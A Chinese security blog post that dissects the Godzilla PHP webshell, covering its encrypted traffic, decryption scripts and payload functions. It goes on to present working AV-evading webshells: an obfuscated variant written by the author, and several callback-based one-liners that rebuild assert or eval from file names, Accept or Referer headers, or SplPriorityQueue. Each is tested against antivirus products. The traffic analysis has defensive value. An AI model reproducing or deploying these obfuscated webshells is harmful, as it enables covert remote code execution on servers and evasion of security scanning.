哥斯拉木马解析 + bypass 免杀代码分析+回调webshell

发布时间:2023年12月28日

目录

?抓包分析

?测试连接

第一个包

第二个包

第三个包

进入控制台

第三个包

请求

返回

木马的解析

第一次链接

第二次链接

payload集合

run

reDefSystemFunc()

自写免杀

通过文件名 构造字符

通过请求头实现

php7.3

php5.2

PHP5.3

PHP 7.0.0


这里也是跟着大佬走的 【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户

php 一句话木马检测绕过研究-腾讯云开发者社区-腾讯云

webshell免杀过阿里云PHP | 藏青's BLOG

这里首先我是去看了看bypass 学习一下

GitHub - Tas9er/ByPassGodzilla: 哥斯拉WebShell免杀生成 / Code By:Tas9er

然后我们就可以发现对比

我这里将混淆什么的都去掉

<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting(Chr("48"));
function m($a,$b){
    for($c=Chr("48");$c<strlen($a);$c++) {
        $d = $b[$c+Chr("49")&15];
        $a[$c] = $a[$c]^$d;
    }
    return $a;
}
$e = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");   #组合为base64_decode的字符串

$f = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; #组合为base64_encode的字符串
$g=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$e($e("Y2c9PQ=="));   #这里是组合为密码Tas9er  通过异或和两次base解码

$h='p'.$e($e("WVhsc2IyRms="));  #这里组合为 payload
$i='fe593a30'.$e("ZTJhMjA5NDA="); #这里组合为一个字符串fe593a30e2a20940
$j=("!"^"@").'ss'.Chr("101").'rs';
$j++;
#这种组合方式很奇特 组合为 assert



   #判断是否存在post参数 接受密码
    $k=m($e("cGhwaW5mbygpOw=="),$i); 
    echo "</br>";  #首先base64解码 参数 ,然后通过 传递 fe593a30e2a20940 和
    echo $k;
    if (isset($_SESSION[$h])){
        echo "</br>";
        echo "isset";
        $l=m($_SESSION[$h],$i);
        echo $l;
        if (strpos($l,'getBasicsInfo')===false){
            echo "yes";
            $l=m($l,$i);
        }
                define("baiduoZObP4MMk","//baidu0EKclqRbZ5y\r\n".$l);
                $j(baiduoZObP4MMk);
        echo substr(md5($g.$i),Chr("48"),16);
        // echo $f(m(@run($k),$i));
        echo substr(md5($g.$i),16);
    }else{
        echo "</br>";
        var_dump(strpos($k,'getBasicsInfo'));
        if (strpos($k,'getBasicsInfo')!==false){

            echo "noisset";
            $_SESSION[$h]=m($k,$i);
        }
    }
?>

下面是原版的哥斯拉

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        echo '</br>';
        echo "yes";
        echo '</br>';
        echo $data;
        echo '</br>';
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            echo '</br>';
            echo "yes222";
            echo '</br>';
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            echo '</br>';
            echo "yes1222";
            echo '</br>';
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

能发现 确实通过特殊的编码和对字符串的处理,实现bypass

落地的时候

确实火绒扫不出来

我们将两种放到 阿里云中查看一下

阿里云恶意文件检测平台

可以发现已经被识别到了(肯定是被抓特征了)

这里我们首先就开始分析一下哥斯拉的php木马

类别是 php xor base64

这里是基本的代码查看 这里有些是我自己加上去进行判断的

这里给出一下大致流程

顺便给出session的解释Session详解,学习Session,这篇文章就够了(包含底层分析和使用)_session级别-CSDN博客

?抓包分析

首先配置代理 流到bp 然后看一下

bp进行抓取即可

首先进行测试链接

?可以发现有3个请求包

这里首先给出解密脚本

#请求包/返回包的解密脚本

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 返回包数据去掉前十六位和后十六位然后解密 报错删除 gzdcode 尝试
echo gzdecode(encode(base64_decode(urldecode('DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ%3D%3D')),$key));


如果报错

删除 gzdecode 函数即可

?测试连接

第一个包

?首先看第一个 没有返回值 但是是一大串的请求包

?这里我们首先关注一下cookie 可以发现 在发送请求包的时候 是没有cookie 的 说明是第一次链接

这个时候 session还没有产生 不会记录会话

但是返回包 出现了sessionid

设定了cookie

这里加密的请求 是一个 payload 的集合 是保存了 哥斯拉执行命令的内容

这里发送了所有执行函数 后续就不需要传递函数 只需要传递 函数名和执行的参数即可实现

第二个包

这里发现都已经带上了 sessionid

我们解密查看

methodName g_close

返回包

我们需要对返回包进行处理

11cd6a8758984163fL1tMGI4YTljOv79NDQm7r9PZzBiOA==6c37ac826a2a04bc


删除前面16 后面 16

fL1tMGI4YTljOv79NDQm7r9PZzBiOA==  

然后进行解密

?能够发现 只是回显 ok

第三个包

和上面一个一模一样的

所以我们进行测试 可以发现 只是对是否可以回显进行测试

现在我们进入

进入控制台

在哥斯拉点击进入的时候

?一样是3个包

可以发现 第一个又是设置cookie 和函数的请求包 并且没有回显

可以发现第二个包 也是一样的 前两个都是完全一样的包

第三个包

发现不是一样的 我们进行解密

请求
getBasicsInfo
返回

删除前16 后16

fL1tMGI4YTljOlBm6bq6BXNLgmeKiWAhvOfD7KwoKuh7az6yx+wgiGNwvlG5OSSZR6PQx4kD9dWOJ7QSsw4GC//9fJYMnW4fGblDYDnHi5EuJ6B5nH/wX/x2alyhxV28hbUshA2dc+ieVQG4TI/77SZpPxdXAHYcIUtcxpV8r92FUrxqaeIeSgPgxnDmZirUTsGjog+KL7LnHNdKuegZQVguhAPc2jiDTiGqf1xaxtcIZwHcWUMrjtj0A3zQhCOBpKGqmwZr0Wx1oQnrzK0NTJZMpAfpTeOBURRip0PK62wtjX4hQyW+EgO2Y6UTJ3aPxTsNhoU25TXqIRpZSgd7cTF4l1E8SRyV2xWVeRE2LdOHd15EosJcyKB6Zgf8g4P/eV07oknXYye96FUIqvrVREyO8ojRyzEOntfQ8fmRt3BBQ8xqY5SAhyFbxYpO3Fwz1BIrp73uwCO4BRiIYbN+fH7YEwvwRaxh3fljeqVzmMrjqWvzWNzKTXC763fgtUrH9pmbOiej8/X5I66OglFZyuc7axYLJjWKuV0/YECJhXmeyEOrehb0IRx1Js+8DpUnqZUcLWLM9R4aj7/tO/MejQTPGiDJFTUeyrJh0swXoHnN0r53aXT+jSsBoSw50vbAZTd5ECpSybReAhBZ26X5/4VdtwaoSKBTHdvDCsYt4y3u4MFxu0ylflPN9jv4Aim1Zk9FA4hYyKK1bpQLODhvjzaoXGOcuP8Jzt6MyE6gw+waWN/lhtYfB96bAX2tPn2zh/RIKjxuUaUDhlvciV39fFxzJJsbxl0lbMHsdYclTYc7lrj9gqYWuVF2U7/VKrFfVxdEaXLUPIoixX5Rs9qqKXh2FGoiMw9Qiv44YrMvSGtbZEm+ZXNuh8IkQienkbAMiumrWDivl+Ubq1L95rwcevgkmF2DmMGiSEtcKEeqZuTh4ALH7erjQ5AyAeTkZnU/HmUXf5MFtLNpYuYefJ2gJ/5lUacXm4HCmaiLOEOWoDc8Pf28b5M2EiBFYqfhhtQZ5zp3n1hCdc1r71bghuqCnkfD1L/DxyujNqlEET7fsINpDoNu5Vzoku/EGTbxCF5RqooIsRLv5eYz8zZlPLyCNANDSst8gT2yktRXykdw/gOlm1SOecWAGvkNp00zZcUIV5dgMGI=

这里其实已经可以发现 F开头就是 需要gzdcode

这里需要删除上面的url编码

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('fL1tMGI4YTljOlBm6bq6BXNLgmeKiWAhvOfD7KwoKuh7az6yx+wgiGNwvlG5OSSZR6PQx4kD9dWOJ7QSsw4GC//9fJYMnW4fGblDYDnHi5EuJ6B5nH/wX/x2alyhxV28hbUshA2dc+ieVQG4TI/77SZpPxdXAHYcIUtcxpV8r92FUrxqaeIeSgPgxnDmZirUTsGjog+KL7LnHNdKuegZQVguhAPc2jiDTiGqf1xaxtcIZwHcWUMrjtj0A3zQhCOBpKGqmwZr0Wx1oQnrzK0NTJZMpAfpTeOBURRip0PK62wtjX4hQyW+EgO2Y6UTJ3aPxTsNhoU25TXqIRpZSgd7cTF4l1E8SRyV2xWVeRE2LdOHd15EosJcyKB6Zgf8g4P/eV07oknXYye96FUIqvrVREyO8ojRyzEOntfQ8fmRt3BBQ8xqY5SAhyFbxYpO3Fwz1BIrp73uwCO4BRiIYbN+fH7YEwvwRaxh3fljeqVzmMrjqWvzWNzKTXC763fgtUrH9pmbOiej8/X5I66OglFZyuc7axYLJjWKuV0/YECJhXmeyEOrehb0IRx1Js+8DpUnqZUcLWLM9R4aj7/tO/MejQTPGiDJFTUeyrJh0swXoHnN0r53aXT+jSsBoSw50vbAZTd5ECpSybReAhBZ26X5/4VdtwaoSKBTHdvDCsYt4y3u4MFxu0ylflPN9jv4Aim1Zk9FA4hYyKK1bpQLODhvjzaoXGOcuP8Jzt6MyE6gw+waWN/lhtYfB96bAX2tPn2zh/RIKjxuUaUDhlvciV39fFxzJJsbxl0lbMHsdYclTYc7lrj9gqYWuVF2U7/VKrFfVxdEaXLUPIoixX5Rs9qqKXh2FGoiMw9Qiv44YrMvSGtbZEm+ZXNuh8IkQienkbAMiumrWDivl+Ubq1L95rwcevgkmF2DmMGiSEtcKEeqZuTh4ALH7erjQ5AyAeTkZnU/HmUXf5MFtLNpYuYefJ2gJ/5lUacXm4HCmaiLOEOWoDc8Pf28b5M2EiBFYqfhhtQZ5zp3n1hCdc1r71bghuqCnkfD1L/DxyujNqlEET7fsINpDoNu5Vzoku/EGTbxCF5RqooIsRLv5eYz8zZlPLyCNANDSst8gT2yktRXykdw/gOlm1SOecWAGvkNp00zZcUIV5dgMGI='),$key));

可以发现回显的是基本信息

这个时候我们进行一次命令执行

cmdLine.cmd /c "cd /d "D:/phpstudy_pro/WWW/"&dir" 2>&1methodName
                                                                execCommand

?请求包是上面的内容

下面是返回包

????????

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('fL1tMGI4YTljOmYKzEO6yQDpcGx2ljzhGVXq6WHzdB1/7BZJvWM/F+ZMWoUsjZHag7M4d+Oad19Fd4/8XNInjz92TCfJoOO14dOn4Kb+mbHByv3AkkjklCS/2Q2GM0VeB1YBnA1QxVYLmJVSWloEU8c2YQZMpiBPaUGVdZYGRUYlMCVFBG5nL2n59WL17LN7QgVKFdd6btFFkdZis5WjvQzR69ybv8/amYSIhQIgejJ2tRmRAlLHWgFTnVFYUMFQC1LEgJ3chPpzPDV9q1oZAmI2ZQ=='),$key));

同样需要删除 urldecode

发现就是命令执行

木马的解析

这里我们来开始继续查看木马的解析了

最好不要一上来就看木马 不然有点看不明白 我确实是这样的

我们就拿最基本的木马来查看

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

这里开始区分

首先我们查看 定义了3个变量 密码 payload 的名字 还有秘钥

我们首先查看这里

其他都没得说的 就key值
?

我们原本的key = key

md5加密后为3c6e0b8a9c15224a8228b9a98ca1531d

这里的值为3c6e0b8a9c15224a

可以发现是取前16位

?然后我们看下面

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

第一次链接

这里其实就是查看有没有数据传入 

如果有 参数是不是 pass

然后这里查看 session[payload是否存在] //对应了第一次链接

我们可以进行查看

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    var_dump($_SESSION[$payloadName]);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
            var_dump($payload);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

可以发现 输出了 null 说明没有这里的原因 是这个时候 还没有设置session? payload(函数集合)? 还没有传入

然后我们查看下面的else

else{
        if (strpos($data,"getBasicsInfo")!==false){  // 不存在 getbaseinfo 的时候
            $_SESSION[$payloadName]=encode($data,$key);  //将 session[payload]通过加密传入
        }
    }

这里我们可以进行输出

发现 请求包的 payload 函数都已经被存入session中了

这里就是第一次链接的时候

第二次链接

我们来查看已经有session的时候的操作

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);  //首先解密 数据
//string(19) "methodName 这个是解密第二个请求包的内容

    if (isset($_SESSION[$payloadName])){   //这个时候存在session了 就进入这个判断

//将payload解密用于操作(函数集合)

        $payload=encode($_SESSION[$payloadName],$key);

        if (strpos($payload,"getBasicsInfo")===false){

//这里是判断 payload集合中是否存在 getBasicsInfo 的内容 但是一般都是有的

            $payload=encode($payload,$key);

        }
		eval($payload);  //执行命令
        echo substr(md5($pass.$key),0,16);  //可以发信啊这里输出md5和key结合的0-16
        echo base64_encode(encode(@run($data),$key));  这里的run函数是在payload 里面
        echo substr(md5($pass.$key),16); //这里是 最后16 
// 这里就是为什么返回包需要删除前面16 后面 16 


    }

?这样 最简单的哥斯拉木马 我们就分析完了 也明白了 为什么哥斯拉比蚁剑 用的多 是因为 流量加密(但是现在也相当于不加密了)

payload集合

这里我们分析一下payload集合

这里为了方便 直接使用 蓝队解析工具

https://github.com/abc123info/BlueTeamTools

大家自行解密吧 因为如果把代码贴在上面 太长了

我们主要解析一下run函数

run

function run($pms){
    global $ERRMSG;

    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }
    $result=@evalFunc();
    if ($result==null||$result===false){
        $result=$ERRMSG;
    }

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }
    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}

这里是run函数的内容

可以看到立马就进入了一个函数

reDefSystemFunc()

function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {  //判断如果函数不存在就创建函数
        function file_get_contents($file) {
            $f = @fopen($file,"rb");  // 只读打开文件
            $contents = false;
            if ($f) {      //如果打开了
                do { $contents .= fgets($f,1024*1024); } while (!feof($f));
//就讲二进制只读文件 存入变量 contents中 每次读取1 M 当文件读取完后
            }
            fclose($f);
            return $contents;
        }
    }



    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)  // 窗机爱你gzdeocde函数 返回值的 10-末尾第8
        {// 然后通过gzinflate 返回gzip解压后的数据    
            return gzinflate(substr($data,10,-8));
        }
    }
    if (!function_exists("sys_get_temp_dir")){
        function sys_get_temp_dir(){
            $SCRIPT_FILENAME=dirname(__FILE__);
            if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
                return "C:/Windows/Temp/";  // 很显然 判断是什么系统 如果不是 / 开头就是win
            }else{
                return "/tmp/";
            }
        }
    }
    if (!function_exists("getmygid")){
        function getmygid(){
            return 0; 
        }
    }
    if (!function_exists("scandir")){
        function scandir($directory){
            $dh  = opendir($directory); //    打开目录
            if ($dh!==false){ //如果没有失败
                $files=array(); 
                while (false !== ($filename = readdir($dh))) {
//遍历目录
                    $files[] = $filename;  //加入数组
                }
                @closedir($dh);  然后关闭
                return $files; 返回目录值
            }
            return false;
        }
    }
    if (!function_exists("file_put_contents")){
        function file_put_contents($fileName, $data){  //写文件
            $handle=fopen($fileName,"wb");
            if ($handle!==false){
                $len=fwrite($handle,$data);
                return $len;
                @fclose($handle);
            }else{
                return false;
            }
        }
    }
    if (!function_exists("is_executable")){    
        function is_executable($fileName){
            return false;
        }
    }

}

然后我们就回到run


    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }

下面可以发现是 哥斯拉中的 操作

这里大致就分析完了 这里哥斯拉内部java的 还不够格分析 所以先不看了

这里继续分析一下 bypassWebshell

就是上面的bypass

看完哥斯拉 就可以知道 其实就是对字符串处理

<?pHP   //这里php都进行了混淆
@session_start();
@set_time_limit(Chr("48"));  // chr(48) = 0  所以@set_time_limit(0);  这里就是一直执行
@error_reporting(Chr("48"));   //@error_reporting(0); 不报错

function m($a,$b){
    for($c=Chr("48");$c<strlen($a);$c++) {  // 首先进行混淆 $c = 0
        $d = $b[$c+Chr("49")&15];    // $b[$c+1&15] chr 也混淆
        $a[$c] = $a[$c]^$d;
    }
    return $a;
}

下面就是一些定义

$e = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");   #组合为base64_decode的字符串

$f = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; #组合为base64_encode的字符串
$g=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$e($e("Y2c9PQ=="));   #这里是组合为密码Tas9er  通过异或和两次base解码

$h='p'.$e($e("WVhsc2IyRms="));  #这里组合为 payload 后续 $_session[payload]
$i='fe593a30'.$e("ZTJhMjA5NDA="); #这里组合为一个字符串fe593a30e2a20940  
#fe593a30e2a2094033ea0efdb879191a 这个是密钥 2lCh 的MD5加密 取前面16位

$j=("!"^"@").'ss'.Chr("101").'rs'; #这里是我惊讶的 通过异或 然后 ++ 获取危险函数 assert
$j++;



   #判断是否存在post参数 接受密码
    $k=m($e("cGhwaW5mbygpOw=="),$i); 
    #解密 base64解密 + 哥斯拉的解密方式
    if (isset($_SESSION[$h])){
        $l=m($_SESSION[$h],$i);
        if (strpos($l,'getBasicsInfo')===false){  
            $l=m($l,$i);
        }
                define("baiduoZObP4MMk","//baidu0EKclqRbZ5y\r\n".$l); //这里通过拼接 
//前面是 // baidu0EKclqRbZ5y  \r\n就换行 然后就可以注释掉上面的baidu
                $j(baiduoZObP4MMk); 这里就是执行
        echo substr(md5($g.$i),Chr("48"),16);
        // echo $f(m(@run($k),$i));  然后就是输出
        echo substr(md5($g.$i),16);
    }else{
        echo "</br>";
        var_dump(strpos($k,'getBasicsInfo'));
        if (strpos($k,'getBasicsInfo')!==false){

            echo "noisset";
            $_SESSION[$h]=m($k,$i);
        }
    }
?>

看了上面 发现确实不是很难 就是通过字符串进行各种绕过

下面可以学习写一下

自写免杀

首先就是生成 模板 就是哥斯拉的 webshell

然后开始写即可

<h2>webshell create by Xioaruan</h2>
<h1>
<pre>


														/***
														*        o                 o    
														*       d8b               d8b   
														*      d888b             d888b  
														*     d8P"Y8b           d8P"Y8b 
														*                               
														*                               
														*                               
														*             88888888          
														*                               
														*                               
														*                               
														*/

  </pre>
</h1>
<?php
@session_start();
@set_time_limit(ChR('48'));
@error_reporting(cHr('48'));
function ynpc__fDYAIBzxMu($ynpc__fDYAIBzxMu0,$ynpc__fDYAIBzxMu0m){
    for($ynpc__fDYAIBzxMu0mN=ChR('48');$ynpc__fDYAIBzxMu0mN<strlen($ynpc__fDYAIBzxMu0);$ynpc__fDYAIBzxMu0mN++) {
        $ynpc__fDYAIBzxMu0mNG = $ynpc__fDYAIBzxMu0m[$ynpc__fDYAIBzxMu0mN+Chr('49')&cHr('49').chR('53')];
        $ynpc__fDYAIBzxMu0[$ynpc__fDYAIBzxMu0mN] = $ynpc__fDYAIBzxMu0[$ynpc__fDYAIBzxMu0mN]^$ynpc__fDYAIBzxMu0mNG;
    }
    return $ynpc__fDYAIBzxMu0;
}
$ynpc__fDYAIBzxMu0mNGm=~urldecode('%A7').~urldecode('%96').~urldecode('%90').~urldecode('%9E');
$ynpc__fDYAIBzxMu0mNGmU=~urldecode("%8F%9E%86%93%90%9E%9B");
$ynpc__payPrJY2tcPdGhqhP='4301ac422369e5c3';
$_='_'.('~'^'.').('`'^'/').('('^'{').('('^'|');
$ynpc__cqmTy9V9A8bZCANqW9yVS=Chr('83');
$ynpc__aYlPKSQKuwdhFNgmuw=$$_;
$ynpc__cqmTy9V9A8bZCANqW9yVS4=('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\\');
if (isset($ynpc__aYlPKSQKuwdhFNgmuw/*fDYAIBzxMu0mNGmU*/[$ynpc__fDYAIBzxMu0mNGm])){
    $ynpc__aYlPKSQKuwdhFNgmuwq=ynpc__fDYAIBzxMu(base64_decode($ynpc__aYlPKSQKuwdhFNgmuw[$ynpc__fDYAIBzxMu0mNGm]),$ynpc__payPrJY2tcPdGhqhP);
    if (isset($_SESSION[$ynpc__fDYAIBzxMu0mNGmU])){
        $ynpc__cqmTy9V9A8bZCANqW9yV=ynpc__fDYAIBzxMu($_SESSION[$ynpc__fDYAIBzxMu0mNGmU],$ynpc__payPrJY2tcPdGhqhP);
        if (strpos($ynpc__cqmTy9V9A8bZCANqW9yV,base64_decode("Z2V0QmFzaWNz'.$ynpc__cqmTy9V9A8bZCANqW9yVS.'W5mbw=="))===false){
            $ynpc__cqmTy9V9A8bZCANqW9yV=ynpc__fDYAIBzxMu($ynpc__cqmTy9V9A8bZCANqW9yV,$ynpc__payPrJY2tcPdGhqhP);
        }
		$ynpc__cqmTy9V9A8bZCANqW9yVS4($ynpc__cqmTy9V9A8bZCANqW9yV);
        echo substr(md5($ynpc__fDYAIBzxMu0mNGm.$ynpc__payPrJY2tcPdGhqhP),0,16);
        echo base64_encode(ynpc__fDYAIBzxMu(@run($ynpc__aYlPKSQKuwdhFNgmuwq),$ynpc__payPrJY2tcPdGhqhP));
        echo substr(md5($ynpc__fDYAIBzxMu0mNGm.$ynpc__payPrJY2tcPdGhqhP),16);
    }else{
        if (strpos($ynpc__aYlPKSQKuwdhFNgmuwq,base64_decode("Z2V0QmFzaWNz'.$ynpc__cqmTy9V9A8bZCANqW9yVS.'W5mbw=="))!==false){
            $_SESSION[$ynpc__fDYAIBzxMu0mNGmU]=ynpc__fDYAIBzxMu($ynpc__aYlPKSQKuwdhFNgmuwq,$ynpc__payPrJY2tcPdGhqhP);
        }
    }
}

通过go 编写了一个php生成的木马 加上了混淆 也是通过一些混淆是结合rce 无数字字母实现的

工具就不放出来了,没啥特别大的作用,只生成php 并且其实还是会被 阿里云的webshell查杀

D_safe为可疑

阿里云直接识别到 assert函数 命令执行了 (太可怕了)

360 火绒 均未查出来

这里就奇了怪了 阿里云怎么这么厉害

结果看到一个文章 说bypass阿里云

webshell免杀过阿里云PHP | 藏青's BLOG

虽然还是被检测出来了 但是这里感觉有点意思 这个木马

我们来学习一下

但是这里到本地的时候 直接就被火绒杀了

通过文件名 构造字符

我们来看看这里是如何实现的

分析一下

?

<?php
$password = "LandGrey";  //密码
$key = substr(__FILE__,-5,-4);  //截取文件字符串 就是截取最后一位
${"LandGrey"} =  $key."Land!";    //这里平凑成 rland
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

123123123123.php

截取到 -4

就是3   .php 是 -4 
        3.php是 -5 

所以取到3

另一个版本

<?php
    function test($a){
        @eval($a);
    }
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

都是通过字符串结尾为r 实现getshell

但是这里如何凑assert 我有点没想到

php 一句话木马检测绕过研究-腾讯云开发者社区-腾讯云

或许是可以直接使用吧

如何我们解析一下下面的函数

array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);

这里查一下就知道了 一个回调函数 通过$f 然后 数组 $pasword 和 1都会被调用执行

所以这里我们传入 password后 可以被执行

下面是高级的

通过请求头实现

<?php
    function test($a){
        @eval($a);
    }
$password = "LandGrey";
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

这里是通过Accpet:r 传递参数 实现组合assert

<?php

    function test($a){
        @eval($a);
    }
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-6,-4);
echo $wx;
forward_static_call_array($wx."st", array($_REQUEST[$password]));
?>

下面是通过传递? Referer: teste6123 执行命令
?

forward_static_call_array

前面一个参数为函数名

后面的数组为参数

所以这个情况下 所有都是可以实现的 现在就是思考为什么会被杀

但是让我不可思议的是

<?php
$b = ('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\\');
// echo $b;
    function test($b,$a){
        echo $a;
        $b($a);
    }
$password = "Xioa";
test($b,$_REQUEST[$password]);
?> 

这种明显的 居然没有被杀

这里是回调函数直接被杀了 太离谱了

但是依旧逃不过阿里云 这个webshell查杀 确实很厉害

然后你才怎么着 我又找到一个文章

测试几种实战成功过的webshell的免杀方式 - 先知社区

学到东西咯~

在php7.3版本中 存在不换行执行的特性

php7.3

<?php
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>

php5.2

<?php
\echo `whoami`;?>

PHP5.3

<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>

PHP 7.0.0

<?php
$a = $_GET['function'] ?? 'whoami';
echo $a;
$b = $_GET['cmd'] ?? 'whoami';
echo $b;
$a(null.(null.$b));
?>
http://localhost/111.php?function=assert&cmd=phpinfo();

https://www.cnblogs.com/0daybug/p/16740163.html

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

文章来源:https://blog.csdn.net/m0_64180167/article/details/135108766
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。